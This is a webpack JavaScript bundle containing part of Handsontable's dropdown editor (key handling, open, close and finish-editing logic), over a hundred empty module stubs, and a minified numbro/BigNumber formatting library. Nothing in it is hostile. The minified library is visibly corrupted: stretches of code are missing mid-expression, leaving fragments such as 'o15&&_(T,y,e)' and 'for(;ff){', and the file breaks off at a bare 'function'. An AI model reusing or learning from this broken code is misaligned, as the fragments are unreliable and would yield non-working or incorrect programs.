value, cellProperties].concat(args)); var parent = this; var options = { startRows: 0, startCols: 0, minRows: 0, minCols: 0, className: 'listbox', copyPaste: false, autoColumnSize: false, autoRowSize: false, readOnly: true, fillHandle: false, autoWrapCol: false, autoWrapRow: false, afterOnCellMouseDown: function afterOnCellMouseDown(_, coords) { var sourceValue = this.getSourceData(coords.row, coords.col); // if the value is undefined then it means we don't want to set the value if (sourceValue !== void 0) { parent.setValue(sourceValue); } parent.instance.destroyEditor(); } }; if (this.cellProperties.handsontable) { (0, _object.extend)(options, cellProperties.handsontable); } this.htOptions = options; }; var onBeforeKeyDown = function onBeforeKeyDown(event) { if ((0, _event.isImmediatePropagationStopped)(event)) { return; } var editor = this.getActiveEditor(); var innerHOT = editor.htEditor.getInstance(); var rowToSelect; var selectedRow; if (event.keyCode === _unicode.KEY_CODES.ARROW_DOWN) { if (!innerHOT.getSelectedLast() && !innerHOT.flipped) { rowToSelect = 0; } else if (innerHOT.getSelectedLast()) { if (innerHOT.flipped) { rowToSelect = innerHOT.getSelectedLast()[0] + 1; } else if (!innerHOT.flipped) { var lastRow = innerHOT.countRows() - 1; selectedRow = innerHOT.getSelectedLast()[0]; rowToSelect = Math.min(lastRow, selectedRow + 1); } } } else if (event.keyCode === _unicode.KEY_CODES.ARROW_UP) { if (!innerHOT.getSelectedLast() && innerHOT.flipped) { rowToSelect = innerHOT.countRows() - 1; } else if (innerHOT.getSelectedLast()) { if (innerHOT.flipped) { selectedRow = innerHOT.getSelectedLast()[0]; rowToSelect = Math.max(0, selectedRow - 1); } else { selectedRow = innerHOT.getSelectedLast()[0]; rowToSelect = selectedRow - 1; } } } if (rowToSelect !== void 0) { if (rowToSelect < 0 || innerHOT.flipped && rowToSelect > innerHOT.countRows() - 1) { innerHOT.deselectCell(); } else { innerHOT.selectCell(rowToSelect, 0); } if (innerHOT.getData().length) { event.preventDefault(); (0, _event.stopImmediatePropagation)(event); editor.instance.listen(); editor.TEXTAREA.focus(); } } }; HandsontableEditor.prototype.open = function () { this.instance.addHook('beforeKeyDown', onBeforeKeyDown); for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) { args[_key3] = arguments[_key3]; } _textEditor.default.prototype.open.apply(this, args); if (this.htEditor) { this.htEditor.destroy(); } if (this.htContainer.style.display === 'none') { this.htContainer.style.display = ''; } // Construct and initialise a new Handsontable this.htEditor = new this.instance.constructor(this.htContainer, this.htOptions); this.htEditor.init(); this.htEditor.rootElement.style.display = ''; if (this.cellProperties.strict) { this.htEditor.selectCell(0, 0); } else { this.htEditor.deselectCell(); } (0, _element.setCaretPosition)(this.TEXTAREA, 0, this.TEXTAREA.value.length); }; HandsontableEditor.prototype.close = function () { this.htEditor.rootElement.style.display = 'none'; this.instance.removeHook('beforeKeyDown', onBeforeKeyDown); for (var _len4 = arguments.length, args = new Array(_len4), _key4 = 0; _key4 < _len4; _key4++) { args[_key4] = arguments[_key4]; } _textEditor.default.prototype.close.apply(this, args); }; HandsontableEditor.prototype.focus = function () { for (var _len5 = arguments.length, args = new Array(_len5), _key5 = 0; _key5 < _len5; _key5++) { args[_key5] = arguments[_key5]; } _textEditor.default.prototype.focus.apply(this, args); }; HandsontableEditor.prototype.beginEditing = function () { var onBeginEditing = this.instance.getSettings().onBeginEditing; if (onBeginEditing && onBeginEditing() === false) { return; } for (var _len6 = arguments.length, args = new Array(_len6), _key6 = 0; _key6 < _len6; _key6++) { args[_key6] = arguments[_key6]; } _textEditor.default.prototype.beginEditing.apply(this, args); }; HandsontableEditor.prototype.finishEditing = function () { if (this.htEditor && this.htEditor.isListening()) { // if focus is still in the HOT editor this.instance.listen(); // return the focus to the parent HOT instance } if (this.htEditor && this.htEditor.getSelectedLast()) { var value = this.htEditor.getInstance().getValue(); if (value !== void 0) { // if the value is undefined then it means we don't want to set the value this.setValue(value); } } for (var _len7 = arguments.length, args = new Array(_len7), _key7 = 0; _key7 < _len7; _key7++) { args[_key7] = arguments[_key7]; } return _textEditor.default.prototype.finishEditing.apply(this, args); }; HandsontableEditor.prototype.assignHooks = function () { var _this = this; this.instance.addHook('afterDestroy', function () { if (_this.htEditor) { _this.htEditor.destroy(); } }); }; var _default = HandsontableEditor; exports.default = _default; /***/ }), /* 296 */ /***/ (function(module, exports) { /***/ }), /* 297 */ /***/ (function(module, exports) { /***/ }), /* 298 */ /***/ (function(module, exports) { /***/ }), /* 299 */ /***/ (function(module, exports) { /***/ }), /* 300 */ /***/ (function(module, exports) { /***/ }), /* 301 */ /***/ (function(module, exports) { /***/ }), /* 302 */ /***/ (function(module, exports) { /***/ }), /* 303 */ /***/ (function(module, exports) { /***/ }), /* 304 */ /***/ (function(module, exports) { /***/ }), /* 305 */ /***/ (function(module, exports) { /***/ }), /* 306 */ /***/ (function(module, exports) { /***/ }), /* 307 */ /***/ (function(module, exports) { /***/ }), /* 308 */ /***/ (function(module, exports) { /***/ }), /* 309 */ /***/ (function(module, exports) { /***/ }), /* 310 */ /***/ (function(module, exports) { /***/ }), /* 311 */ /***/ (function(module, exports) { /***/ }), /* 312 */ /***/ (function(module, exports) { /***/ }), /* 313 */ /***/ (function(module, exports) { /***/ }), /* 314 */ /***/ (function(module, exports) { /***/ }), /* 315 */ /***/ (function(module, exports) { /***/ }), /* 316 */ /***/ (function(module, exports) { /***/ }), /* 317 */ /***/ (function(module, exports) { /***/ }), /* 318 */ /***/ (function(module, exports) { /***/ }), /* 319 */ /***/ (function(module, exports) { /***/ }), /* 320 */ /***/ (function(module, exports) { /***/ }), /* 321 */ /***/ (function(module, exports) { /***/ }), /* 322 */ /***/ (function(module, exports) { /***/ }), /* 323 */ /***/ (function(module, exports) { /***/ }), /* 324 */ /***/ (function(module, exports) { /***/ }), /* 325 */ /***/ (function(module, exports) { /***/ }), /* 326 */ /***/ (function(module, exports) { /***/ }), /* 327 */ /***/ (function(module, exports) { /***/ }), /* 328 */ /***/ (function(module, exports) { /***/ }), /* 329 */ /***/ (function(module, exports) { /***/ }), /* 330 */ /***/ (function(module, exports) { /***/ }), /* 331 */ /***/ (function(module, exports) { /***/ }), /* 332 */ /***/ (function(module, exports) { /***/ }), /* 333 */ /***/ (function(module, exports) { /***/ }), /* 334 */ /***/ (function(module, exports) { /***/ }), /* 335 */ /***/ (function(module, exports) { /***/ }), /* 336 */ /***/ (function(module, exports) { /***/ }), /* 337 */ /***/ (function(module, exports) { /***/ }), /* 338 */ /***/ (function(module, exports) { /***/ }), /* 339 */ /***/ (function(module, exports) { /***/ }), /* 340 */ /***/ (function(module, exports) { /***/ }), /* 341 */ /***/ (function(module, exports) { /***/ }), /* 342 */ /***/ (function(module, exports) { /***/ }), /* 343 */ /***/ (function(module, exports) { /***/ }), /* 344 */ /***/ (function(module, exports) { /***/ }), /* 345 */ /***/ (function(module, exports) { /***/ }), /* 346 */ /***/ (function(module, exports) { /***/ }), /* 347 */ /***/ (function(module, exports) { /***/ }), /* 348 */ /***/ (function(module, exports) { /***/ }), /* 349 */ /***/ (function(module, exports) { /***/ }), /* 350 */ /***/ (function(module, exports) { /***/ }), /* 351 */ /***/ (function(module, exports) { /***/ }), /* 352 */ /***/ (function(module, exports) { /***/ }), /* 353 */ /***/ (function(module, exports) { /***/ }), /* 354 */ /***/ (function(module, exports) { /***/ }), /* 355 */ /***/ (function(module, exports) { /***/ }), /* 356 */ /***/ (function(module, exports) { /***/ }), /* 357 */ /***/ (function(module, exports) { /***/ }), /* 358 */ /***/ (function(module, exports) { /***/ }), /* 359 */ /***/ (function(module, exports) { /***/ }), /* 360 */ /***/ (function(module, exports) { /***/ }), /* 361 */ /***/ (function(module, exports) { /***/ }), /* 362 */ /***/ (function(module, exports) { /***/ }), /* 363 */ /***/ (function(module, exports) { /***/ }), /* 364 */ /***/ (function(module, exports) { /***/ }), /* 365 */ /***/ (function(module, exports) { /***/ }), /* 366 */ /***/ (function(module, exports) { /***/ }), /* 367 */ /***/ (function(module, exports) { /***/ }), /* 368 */ /***/ (function(module, exports) { /***/ }), /* 369 */ /***/ (function(module, exports) { /***/ }), /* 370 */ /***/ (function(module, exports) { /***/ }), /* 371 */ /***/ (function(module, exports) { /***/ }), /* 372 */ /***/ (function(module, exports) { /***/ }), /* 373 */ /***/ (function(module, exports) { /***/ }), /* 374 */ /***/ (function(module, exports) { /***/ }), /* 375 */ /***/ (function(module, exports) { /***/ }), /* 376 */ /***/ (function(module, exports) { /***/ }), /* 377 */ /***/ (function(module, exports) { /***/ }), /* 378 */ /***/ (function(module, exports) { /***/ }), /* 379 */ /***/ (function(module, exports) { /***/ }), /* 380 */ /***/ (function(module, exports) { /***/ }), /* 381 */ /***/ (function(module, exports) { /***/ }), /* 382 */ /***/ (function(module, exports) { /***/ }), /* 383 */ /***/ (function(module, exports) { /***/ }), /* 384 */ /***/ (function(module, exports) { /***/ }), /* 385 */ /***/ (function(module, exports) { /***/ }), /* 386 */ /***/ (function(module, exports) { /***/ }), /* 387 */ /***/ (function(module, exports) { /***/ }), /* 388 */ /***/ (function(module, exports) { /***/ }), /* 389 */ /***/ (function(module, exports) { /***/ }), /* 390 */ /***/ (function(module, exports) { /***/ }), /* 391 */ /***/ (function(module, exports) { /***/ }), /* 392 */ /***/ (function(module, exports) { /***/ }), /* 393 */ /***/ (function(module, exports) { /***/ }), /* 394 */ /***/ (function(module, exports) { /***/ }), /* 395 */ /***/ (function(module, exports) { /***/ }), /* 396 */ /***/ (function(module, exports) { /***/ }), /* 397 */ /***/ (function(module, exports) { /***/ }), /* 398 */ /***/ (function(module, exports) { /***/ }), /* 399 */ /***/ (function(module, exports) { /***/ }), /* 400 */ /***/ (function(module, exports) { /***/ }), /* 401 */ /***/ (function(module, exports) { /***/ }), /* 402 */ /***/ (function(module, exports) { /***/ }), /* 403 */ /***/ (function(module, exports) { /***/ }), /* 404 */ /***/ (function(module, exports) { /***/ }), /* 405 */ /***/ (function(module, exports) { /***/ }), /* 406 */ /***/ (function(module, exports) { /***/ }), /* 407 */ /***/ (function(module, exports) { /***/ }), /* 408 */ /***/ (function(module, exports) { /***/ }), /* 409 */ /***/ (function(module, exports) { /***/ }), /* 410 */ /***/ (function(module, exports) { /***/ }), /* 411 */ /***/ (function(module, exports) { /***/ }), /* 412 */ /***/ (function(module, exports) { /***/ }), /* 413 */ /***/ (function(module, exports) { /***/ }), /* 414 */ /***/ (function(module, exports) { /***/ }), /* 415 */ /***/ (function(module, exports) { /***/ }), /* 416 */ /***/ (function(module, exports) { /***/ }), /* 417 */ /***/ (function(module, exports) { /***/ }), /* 418 */ /***/ (function(module, exports) { /***/ }), /* 419 */ /***/ (function(module, exports) { /***/ }), /* 420 */ /***/ (function(module, exports, __webpack_require__) { var require;var require;!function(e){if(true)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).numbro=e()}}(function(){return function e(t,n,r){function i(o,u){if(!n[o]){if(!t[o]){var s="function"==typeof require&&require;if(!u&&s)return require(o,!0);if(a)return a(o,!0);var c=new Error("Cannot find module '"+o+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return i(n||e)},l,l.exports,e,t,n,r)}return n[o].exports}for(var a="function"==typeof require&&require,o=0;o15&&_(T,y,e),o=!1):c.s=45===s.charCodeAt(0)?(s=s.slice(1),-1):1,s=g(s,10,n,c.s)}else{if(e instanceof t)return c.s=e.s,c.e=e.e,c.c=(e=e.c)?e.slice():e,void(T=0);if((o="number"==typeof e)&&0*e==0){if(c.s=1/e<0?(e=-e,-1):1,e===~~e){for(i=0,a=e;a>=10;a/=10,i++);return c.e=i,c.c=[e],void(T=0)}s=e+""}else{if(!p.test(s=e+""))return E(c,s,o);c.s=45===s.charCodeAt(0)?(s=s.slice(1),-1):1}}for((i=s.indexOf("."))>-1&&(s=s.replace(".","")),(a=s.search(/e/i))>0?(i<0&&(i=a),i+=+s.slice(a+1),s=s.substring(0,a)):i<0&&(i=s.length),a=0;48===s.charCodeAt(a);a++);for(u=s.length;48===s.charCodeAt(--u););if(s=s.slice(a,u+1))if(u=s.length,o&&q&&u>15&&(e>S||e!==h(e))&&_(T,y,c.s*e),(i=i-a-1)>V)c.c=c.e=null;else if(i=0&&(c=W,W=0,e=e.replace(".",""),g=(d=new t(r)).pow(e.length-h),W=c,d.c=s(l(i(g.c),g.e),10,n),d.e=d.c.length),u=c=(p=s(e,r,n)).length;0==p[--c];p.pop());if(!p[0])return"0";if(h<0?--u:(g.c=p,g.e=u,g.s=a,p=(g=L(g,d,v,m,n)).c,f=g.r,u=g.e),o=u+v+1,h=p[o],c=n/2,f=f||o<0||null!=p[o+1],f=m<4?(null!=h||f)&&(0==m||m==(g.s<0?3:2)):h>c||h==c&&(4==m||f||6==m&&1&p[o-1]||m==(g.s<0?8:7)),o<1||!p[0])e=f?l("1",-v):"0";else{if(p.length=o,f)for(--n;++p[--o]>n;)p[o]=0,o||(++u,p=[1].concat(p));for(c=p.length;!p[--c];);for(h=0,e="";h<=c;e+=b.charAt(p[h++]));e=l(e,u)}return e}function F(e,n,r,a){var o,u,s,f,g;if(r=null!=r&&Z(r,0,8,a,m)?0|r:R,!e.c)return e.toString();if(o=e.c[0],s=e.e,null==n)g=i(e.c),g=19==a||24==a&&s<=$?c(g,s):l(g,s);else if(e=A(new t(e),n,r),u=e.e,g=i(e.c),f=g.length,19==a||24==a&&(n<=u||u<=$)){for(;ff){if(--n>0)for(g+=".";n--;g+="0");}else if((n+=u-f)>0)for(u+1==f&&(g+=".");n--;g+="0");return e.s<0&&o?"-"+g:g}function D(e,n){var r,i,a=0;for(u(e[0])&&(e=e[0]),r=new t(e[0]);++an||e!=f(e))&&_(r,(i||"decimal places")+(en?" out of range":" not an integer"),e),!0}function k(e,t,n){for(var r=1,i=t.length;!t[--i];t.pop());for(i=t[0];i>=10;i/=10,r++);return(n=r+n*x-1)>V?e.c=e.e=null:n=10;u/=10,i++);if((a=t-i)<0)a+=x,o=t,l=(s=f[c=0])/g[i-o-1]%10|0;else if((c=d((a+1)/x))>=f.length){if(!r)break e;for(;f.length<=c;f.push(0));s=l=0,i=1,o=(a%=x)-x+1}else{for(s=u=f[c],i=1;u>=10;u/=10,i++);l=(o=(a%=x)-x+i)<0?0:s/g[i-o-1]%10|0}if(r=r||t<0||null!=f[c+1]||(o<0?s:s%g[i-o-1]),r=n<4?(l||r)&&(0==n||n==(e.s<0?3:2)):l>5||5==l&&(4==n||r||6==n&&(a>0?o>0?s/g[i-o]:0:f[c-1])%10&1||n==(e.s<0?8:7)),t<1||!f[0])return f.length=0,r?(t-=e.e+1,f[0]=g[(x-t%x)%x],e.e=-t||0):f[0]=e.e=0,e;if(0==a?(f.length=c,u=1,c--):(f.length=c+1,u=g[x-a],f[c]=o>0?h(s/g[i-o]%g[o])*u:0),r)for(;;){if(0==c){for(a=1,o=f[0];o>=10;o/=10,a++);for(o=f[0]+=u,u=1;o>=10;o/=10,u++);a!=u&&(e.e++,f[0]==w&&(f[0]=1));break}if(f[c]+=u,f[c]!=w)break;f[c--]=0,u=1}for(a=f.length;0===f[--a];f.pop());}e.e>V?e.c=e.e=null:e.en)return null!=(e=i[n++])};return s(t="DECIMAL_PLACES")&&Z(e,0,M,2,t)&&(C=0|e),r[t]=C,s(t="ROUNDING_MODE")&&Z(e,0,8,2,t)&&(R=0|e),r[t]=R,s(t="EXPONENTIAL_AT")&&(u(e)?Z(e[0],-M,0,2,t)&&Z(e[1],0,M,2,t)&&($=0|e[0],P=0|e[1]):Z(e,-M,M,2,t)&&($=-(P=0|(e<0?-e:e)))),r[t]=[$,P],s(t="RANGE")&&(u(e)?Z(e[0],-M,-1,2,t)&&Z(e[1],1,M,2,t)&&(I=0|e[0],V=0|e[1]):Z(e,-M,M,2,t)&&(0|e?I=-(V=0|(e<0?-e:e)):q&&_(2,t+" cannot be zero",e))),r[t]=[I,V],s(t="ERRORS")&&(e===!!e||1===e||0===e?(T=0,Z=(q=!!e)?B:o):q&&_(2,t+v,e)),r[t]=q,s(t="CRYPTO")&&(!0===e||!1===e||1===e||0===e?e?!(e="undefined"==typeof crypto)&&crypto&&(crypto.getRandomValues||crypto.randomBytes)?z=!0:q?_(2,"crypto unavailable",e?void 0:crypto):z=!1:z=!1:q&&_(2,t+v,e)),r[t]=z,s(t="MODULO_MODE")&&Z(e,0,9,2,t)&&(G=0|e),r[t]=G,s(t="POW_PRECISION")&&Z(e,0,M,2,t)&&(W=0|e),r[t]=W,s(t="FORMAT")&&("object"==typeof e?H=e:q&&_(2,t+" not an object",e)),r[t]=H,r},t.max=function(){return D(arguments,U.lt)},t.min=function(){return D(arguments,U.gt)},t.random=function(){var e=9007199254740992*Math.random()&2097151?function(){return h(9007199254740992*Math.random())}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)};return function(n){var r,i,a,o,u,s=0,c=[],l=new t(j);if(n=null!=n&&Z(n,0,M,14)?0|n:C,o=d(n/x),z)if(crypto.getRandomValues){for(r=crypto.getRandomValues(new Uint32Array(o*=2));s>>11))>=9e15?(i=crypto.getRandomValues(new Uint32Array(2)),r[s]=i[0],r[s+1]=i[1]):(c.push(u%1e14),s+=2);s=o/2}else if(crypto.randomBytes){for(r=crypto.randomBytes(o*=7);s=9e15?crypto.randomBytes(7).copy(r,s):(c.push(u%1e14),s+=7);s=o/7}else z=!1,q&&_(14,"crypto unavailable",crypto);if(!z)for(;s=10;u/=10,s++);sr?1:-1;else for(i=a=0;it[i]?1:-1;break}return a}function i(e,t,n,r){for(var i=0;n--;)e[n]-=i,i=e[n]1;e.splice(0,1));}return function(a,o,u,s,c){var l,f,g,p,d,v,m,y,b,S,N,O,M,F,D,B,k,_=a.s==o.s?1:-1,L=a.c,E=o.c;if(!(L&&L[0]&&E&&E[0]))return new t(a.s&&o.s&&(L?!E||L[0]!=E[0]:E)?L&&0==L[0]||!E?0*_:_/0:NaN);for(b=(y=new t(_)).c=[],_=u+(f=a.e-o.e)+1,c||(c=w,f=r(a.e/x)-r(o.e/x),_=_/x|0),g=0;E[g]==(L[g]||0);g++);if(E[g]>(L[g]||0)&&f--,_<0)b.push(1),p=!0;else{for(F=L.length,B=E.length,g=0,_+=2,(d=h(c/(E[0]+1)))>1&&(E=e(E,d,c),L=e(L,d,c),B=E.length,F=L.length),M=B,N=(S=L.slice(0,B)).length;N=c/2&&D++;do{if(d=0,(l=n(E,S,B,N))<0){if(O=S[0],B!=N&&(O=O*c+(S[1]||0)),(d=h(O/D))>1)for(d>=c&&(d=c-1),m=(v=e(E,d,c)).length,N=S.length;1==n(v,S,m,N);)d--,i(v,B=10;_/=10,g++);A(y,u+(y.e=g+f*x-1)+1,s,p)}else y.e=f,y.r=+p;return y}}(),E=function(){var e=/^(-?)0([xbo])(?=\w[\w.]*$)/i,n=/^([^.]+)\.$/,r=/^\.([^.]+)$/,i=/^-?(Infinity|NaN)$/,a=/^\s*\+(?=[\w.])|^\s+|\s+$/g;return function(o,u,s,c){var l,f=s?u:u.replace(a,"");if(i.test(f))o.s=isNaN(f)?null:f<0?-1:1;else{if(!s&&(f=f.replace(e,function(e,t,n){return l="x"==(n=n.toLowerCase())?16:"b"==n?2:8,c&&c!=l?e:t}),c&&(l=c,f=f.replace(n,"$1").replace(r,"0.$1")),u!=f))return new t(f,l);q&&_(T,"not a"+(c?" base "+c:"")+" number",u),o.s=null}o.c=o.e=null,T=0}}(),U.absoluteValue=U.abs=function(){var e=new t(this);return e.s<0&&(e.s=1),e},U.ceil=function(){return A(new t(this),this.e+1,2)},U.comparedTo=U.cmp=function(e,n){return T=1,a(this,new t(e,n))},U.decimalPlaces=U.dp=function(){var e,t,n=this.c;if(!n)return null;if(e=((t=n.length-1)-r(this.e/x))*x,t=n[t])for(;t%10==0;t/=10,e--);return e<0&&(e=0),e},U.dividedBy=U.div=function(e,n){return T=3,L(this,new t(e,n),C,R)},U.dividedToIntegerBy=U.divToInt=function(e,n){return T=4,L(this,new t(e,n),0,1)},U.equals=U.eq=function(e,n){return T=5,0===a(this,new t(e,n))},U.floor=function(){return A(new t(this),this.e+1,3)},U.greaterThan=U.gt=function(e,n){return T=6,a(this,new t(e,n))>0},U.greaterThanOrEqualTo=U.gte=function(e,n){return T=7,1===(n=a(this,new t(e,n)))||0===n},U.isFinite=function(){return!!this.c},U.isInteger=U.isInt=function(){return!!this.c&&r(this.e/x)>this.c.length-2},U.isNaN=function(){return!this.s},U.isNegative=U.isNeg=function(){return this.s<0},U.isZero=function(){return!!this.c&&0==this.c[0]},U.lessThan=U.lt=function(e,n){return T=8,a(this,new t(e,n))<0},U.lessThanOrEqualTo=U.lte=function(e,n){return T=9,-1===(n=a(this,new t(e,n)))||0===n},U.minus=U.sub=function(e,n){var i,a,o,u,s=this,c=s.s;if(T=10,e=new t(e,n),n=e.s,!c||!n)return new t(NaN);if(c!=n)return e.s=-n,s.plus(e);var l=s.e/x,f=e.e/x,g=s.c,p=e.c;if(!l||!f){if(!g||!p)return g?(e.s=-n,e):new t(p?s:NaN);if(!g[0]||!p[0])return p[0]?(e.s=-n,e):new t(g[0]?s:3==R?-0:0)}if(l=r(l),f=r(f),g=g.slice(),c=l-f){for((u=c<0)?(c=-c,o=g):(f=l,o=p),o.reverse(),n=c;n--;o.push(0));o.reverse()}else for(a=(u=(c=g.length)<(n=p.length))?c:n,c=n=0;n0)for(;n--;g[i++]=0);for(n=w-1;a>c;){if(g[--a]0?(s=u,i=l):(o=-o,i=c),i.reverse();o--;i.push(0));i.reverse()}for((o=c.length)-(n=l.length)<0&&(i=l,l=c,c=i,n=o),o=0;n;)o=(c[--n]=c[n]+l[n]+o)/w|0,c[n]=w===c[n]?0:c[n]%w;return o&&(c=[o].concat(c),++s),k(e,c,s)},U.precision=U.sd=function(e){var t,n,r=this,i=r.c;if(null!=e&&e!==!!e&&1!==e&&0!==e&&(q&&_(13,"argument"+v,e),e!=!!e&&(e=null)),!i)return null;if(n=i.length-1,t=n*x+1,n=i[n]){for(;n%10==0;n/=10,t--);for(n=i[0];n>=10;n/=10,t++);}return e&&r.e+1>t&&(t=r.e+1),t},U.round=function(e,n){var r=new t(this);return(null==e||Z(e,0,M,15))&&A(r,~~e+this.e+1,null!=n&&Z(n,0,8,15,m)?0|n:R),r},U.shift=function(e){var n=this;return Z(e,-S,S,16,"argument")?n.times("1e"+f(e)):new t(n.c&&n.c[0]&&(e<-S||e>S)?n.s*(e<0?0:1/0):n)},U.squareRoot=U.sqrt=function(){var e,n,a,o,u,s=this,c=s.c,l=s.s,f=s.e,g=C+4,p=new t("0.5");if(1!==l||!c||!c[0])return new t(!l||l<0&&(!c||c[0])?NaN:c?s:1/0);if(0==(l=Math.sqrt(+s))||l==1/0?(((n=i(c)).length+f)%2==0&&(n+="0"),l=Math.sqrt(n),f=r((f+1)/2)-(f<0||f%2),a=new t(n=l==1/0?"1e"+f:(n=l.toExponential()).slice(0,n.indexOf("e")+1)+f)):a=new t(l+""),a.c[0])for((l=(f=a.e)+g)<3&&(l=0);;)if(u=a,a=p.times(u.plus(L(s,u,g,1))),i(u.c).slice(0,l)===(n=i(a.c)).slice(0,l)){if(a.e=0;){for(i=0,d=N[o]%y,h=N[o]/y|0,u=o+(s=l);u>o;)i=((f=d*(f=S[--s]%y)+(c=h*f+(g=S[s]/y|0)*d)%y*y+v[u]+i)/m|0)+(c/y|0)+h*g,v[u--]=f%m;v[u]=i}return i?++a:v.splice(0,1),k(e,v,a)},U.toDigits=function(e,n){var r=new t(this);return e=null!=e&&Z(e,1,M,18,"precision")?0|e:null,n=null!=n&&Z(n,0,8,18,m)?0|n:R,e?A(r,e,n):r},U.toExponential=function(e,t){return F(this,null!=e&&Z(e,0,M,19)?1+~~e:null,t,19)},U.toFixed=function(e,t){return F(this,null!=e&&Z(e,0,M,20)?~~e+this.e+1:null,t,20)},U.toFormat=function(e,t){var n=F(this,null!=e&&Z(e,0,M,21)?~~e+this.e+1:null,t,21);if(this.c){var r,i=n.split("."),a=+H.groupSize,o=+H.secondaryGroupSize,u=H.groupSeparator,s=i[0],c=i[1],l=this.s<0,f=l?s.slice(1):s,g=f.length;if(o&&(r=a,a=o,o=r,g-=r),a>0&&g>0){for(r=g%a||a,s=f.substr(0,r);r0&&(s+=u+f.slice(r)),l&&(s="-"+s)}n=c?s+H.decimalSeparator+((o=+H.fractionGroupSize)?c.replace(new RegExp("\\d{"+o+"}\\B","g"),"$&"+H.fractionGroupSeparator):c):s}return n},U.toFraction=function(e){var n,r,a,o,u,s,c,l,f,g=q,p=this,d=p.c,h=new t(j),v=r=new t(j),m=c=new t(j);if(null!=e&&(q=!1,s=new t(e),q=g,(g=s.isInt())&&!s.lt(j)||(q&&_(22,"max denominator "+(g?"out of range":"not an integer"),e),e=!g&&s.c&&A(s,s.e+1,1).gte(j)?s:null)),!d)return p.toString();for(f=i(d),o=h.e=f.length-p.e-1,h.c[0]=N[(u=o%x)<0?x+u:u],e=!e||s.cmp(h)>0?o>0?h:v:s,u=V,V=1/0,s=new t(f),c.c[0]=0;l=L(s,h,0,1),1!=(a=r.plus(l.times(m))).cmp(e);)r=m,m=a,v=c.plus(l.times(a=v)),c=a,h=s.minus(l.times(a=h)),s=a;return a=L(e.minus(r),m,0,1),c=c.plus(a.times(v)),r=r.plus(a.times(m)),c.s=v.s=p.s,o*=2,n=L(v,m,o,R).minus(p).abs().cmp(L(c,r,o,R).minus(p).abs())<1?[v.toString(),m.toString()]:[c.toString(),r.toString()],V=u,n},U.toNumber=function(){return+this},U.toPower=U.pow=function(e,n){var r,i,a,o=h(e<0?-e:+e),u=this;if(null!=n&&(T=23,n=new t(n)),!Z(e,-S,S,23,"exponent")&&(!isFinite(e)||o>S&&(e/=0)||parseFloat(e)!=e&&!(e=NaN))||0==e)return r=Math.pow(+u,e),new t(n?r%n:r);for(n?e>1&&u.gt(j)&&u.isInt()&&n.gt(j)&&n.isInt()?u=u.mod(n):(a=n,n=null):W&&(r=d(W/x+2)),i=new t(j);;){if(o%2){if(!(i=i.times(u)).c)break;r?i.c.length>r&&(i.c.length=r):n&&(i=i.mod(n))}if(!(o=h(o/2)))break;u=u.times(u),r?u.c&&u.c.length>r&&(u.c.length=r):n&&(u=u.mod(n))}return n?i:(e<0&&(i=j.div(i)),a?i.mod(a):r?A(i,W,R):i)},U.toPrecision=function(e,t){return F(this,null!=e&&Z(e,1,M,24,"precision")?0|e:null,t,24)},U.toString=function(e){var t,n=this,r=n.s,a=n.e;return null===a?r?(t="Infinity",r<0&&(t="-"+t)):t="NaN":(t=i(n.c),t=null!=e&&Z(e,2,64,25,"base")?g(l(t,a),0|e,10,r):a<=$||a>=P?c(t,a):l(t,a),r<0&&n.c[0]&&(t="-"+t)),t},U.truncated=U.trunc=function(){return A(new t(this),this.e+1,1)},U.valueOf=U.toJSON=function(){var e,t=this,n=t.e;return null===n?t.toString():(e=i(t.c),e=n<=$||n>=P?c(e,n):l(e,n),t.s<0?"-"+e:e)},U.isBigNumber=!0,null!=e&&t.config(e),t}function r(e){var t=0|e;return e>0||e===t?t:t-1}function i(e){for(var t,n,r=1,i=e.length,a=e[0]+"";rc^n?1:-1;for(u=(s=i.length)<(c=a.length)?s:c,o=0;oa[o]^n?1:-1;return s==c?0:s>c^n?1:-1}function o(e,t,n){return(e=f(e))>=t&&e<=n}function u(e){return"[object Array]"==Object.prototype.toString.call(e)}function s(e,t,n){for(var r,i,a=[0],o=0,u=e.length;on-1&&(null==a[r+1]&&(a[r+1]=0),a[r+1]+=a[r]/n|0,a[r]%=n)}return a.reverse()}function c(e,t){return(e.length>1?e.charAt(0)+"."+e.slice(1):e)+(t<0?"e":"e+")+t}function l(e,t){var n,r;if(t<0){for(r="0.";++t;r+="0");e=r+e}else if(n=e.length,++t>n){for(r="0",t-=n;--t;r+="0");e+=r}else t1&&void 0!==arguments[1]?arguments[1]:{},n=arguments[2];if("string"==typeof t&&(t=L.parseFormat(t)),!A.validateFormat(t))return"ERROR: invalid format";var r=t.prefix||"",a=t.postfix||"",o=i(e,t,n);return o=M(o,r),o=F(o,a)}function i(e,t,n){switch(t.output){case"currency":return t=B(t,_.currentCurrencyDefaultFormat()),p(e,t,_);case"percent":return t=B(t,_.currentPercentageDefaultFormat()),g(e,t,_,n);case"byte":return t=B(t,_.currentByteDefaultFormat()),c(e,t,_,n);case"time":return t=B(t,_.currentTimeDefaultFormat()),f(e);case"ordinal":return t=B(t,_.currentOrdinalDefaultFormat()),l(e,t,_);case"number":default:return D({instance:e,providedFormat:t,numbro:n})}}function a(e){var t=T.decimal;return s(e._value,t.suffixes,t.scale).suffix}function o(e){var t=T.binary;return s(e._value,t.suffixes,t.scale).suffix}function u(e){var t=T.general;return s(e._value,t.suffixes,t.scale).suffix}function s(e,t,n){var r=t[0],i=Math.abs(e);if(i>=n){for(var a=1;a=o&&i=Math.pow(10,12)&&!n||"trillion"===n?(s=r.trillion,t/=Math.pow(10,12)):c=Math.pow(10,9)&&!n||"billion"===n?(s=r.billion,t/=Math.pow(10,9)):c=Math.pow(10,6)&&!n||"million"===n?(s=r.million,t/=Math.pow(10,6)):(c=Math.pow(10,3)&&!n||"thousand"===n)&&(s=r.thousand,t/=Math.pow(10,3));var f=a?" ":"";if(s&&(s=f+s),u){var g=t.toString().split(".")[0];l=Math.max(u-g.length,0)}return{value:t,abbreviation:s,mantissaPrecision:l}}function h(e){var t=e.value,n=e.characteristicPrecision,r=void 0===n?0:n,i=t.toExponential().split("e"),a=k(i,2),o=a[0],u=a[1],s=+o;if(!r)return{value:s,abbreviation:"e"+u};return 1=0?"+"+u:u),{value:s,abbreviation:"e"+u}}function 